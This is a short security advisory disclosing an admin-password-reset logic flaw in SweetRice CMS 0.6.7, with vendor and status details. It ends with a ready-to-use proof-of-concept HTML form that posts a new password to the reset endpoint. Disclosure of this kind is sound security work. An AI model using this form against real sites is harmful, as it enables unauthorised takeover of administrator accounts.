Reset admin password in SweetRice CMS

Vulnerability ID: HTB22669
Reference: http://www.htbridge.ch/advisory/reset_admin_password_in_sweetrice_cms.html
Product: SweetRice CMS
Vendor: basic-cms.org ( http://www.basic-cms.org/ )
Vulnerable Version: 0.6.7
Vendor Notification: 21 October 2010
Vulnerability Type: Logic error
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/as/index.php" scripts to properly sanitize user-supplied input. Attacker can change admin password.

The following PoC is available:

<form action="http://[host]/as/index.php?type=password&mod=resetok" method="post">
<input name="p1" type="hidden" value="123">
<input name="p2" type="hidden" value="123">
<input name="email" type="hidden" value="[admin_email]">
<input value="Login" name="login" type="submit">
</form>